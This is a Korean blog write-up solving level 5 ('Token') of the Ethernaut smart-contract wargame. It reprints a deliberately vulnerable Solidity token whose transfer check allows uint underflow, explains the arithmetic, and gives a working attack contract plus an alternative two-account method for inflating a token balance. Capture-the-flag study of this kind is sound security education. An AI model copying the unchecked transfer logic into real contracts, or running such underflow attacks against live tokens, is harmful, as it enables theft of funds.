[이더넛] 레벨5 'Token' 풀기
[목표]
uint256 변수의 언더플로우 특성을 이용해서
ERC20 토큰 잔고를 매우 크게 증가시키기
2021.07.28 - [블록체인] - uint 자료형의 허점을 노린 스마트컨트랙트 해킹
이번 레벨은 이전 포스팅 글과 동일합니다.
복습겸 다시 진행해보겠습니다.
Full Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
player의 토큰 잔고량은 20입니다.
함수 transfer에 파라미터 uint 21을 넣고 호출하면
다음과 같은 연산과정을 거칩니다.
balances[msg.sender] - _value
=> 20 - 21 = -1
이때 -1은 uint -1 값이 됩니다.
솔리디티에서 uint는 uint256으로 음수가 되면
언더플로우가 되고 매우 큰 값이 됩니다.
balances[msg.sender] -= _value;
balances[_to] += _value;
그 다음 위 과정을 거치는데
EOA가 직접호출하여 _to 동일한 EOA 주소를 넣으면
EOA의 토큰잔고가
토큰 전송량이 감소하고 다시 동일한 토큰 수 만큼 증가하기 때문에
토큰 잔고가 증가하지 않습니다.
대신 다른 CA를 통해 Token Contract를 부르고
함수 transfer를 호출할때 파라미터 주소를 EOA(player)를 입력하면
EOA의 토큰 잔고를 증가시킬 수 있습니다.
컨트랙트 Attack1000으로 공격
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract Attack1000 {
mapping(address => uint) balances;
function hack() public {
Token(0x3Bc7bEec593Be6caA3a6D75e043a870B939b006E).transfer(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2,1000);
}
}
Attack1000의 함수 hack을 실행한 뒤
player의 토큰 잔고가 1000 증가했습니다.
성공.
다른 방법
EOA1에서 Token 컨트랙트를 불러옵니다.
함수 transfer 파라미터에 (EOA2 주소, 20보다 큰수. 예시로 10,000)
를 입력하여 호출합니다.
그러면
balances[msg.sender] -= _value;
balances[_to] += _value;
는
balances[EOA1] -= _value;
balances[EOA2] += _value;
가 되고
EOA1의 잔고는 언더플로우 되어 매우 큰 값으로 잔고가 증가하고
EOA2의 잔고는 10,000 만큼 증가하게 됩니다.
'블록체인' 카테고리의 다른 글
[이더넛] 레벨7 'Force' 풀기 (0) | 2021.08.12 |
---|---|
[이더넛] 레벨6 'Delegation' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨4 'Telephone' 풀기 (0) | 2021.08.11 |
[이더넛] 레벨3 'Coin Flip' 풀기 (0) | 2021.08.10 |
이더넛 레벨2 풀기 (0) | 2021.08.10 |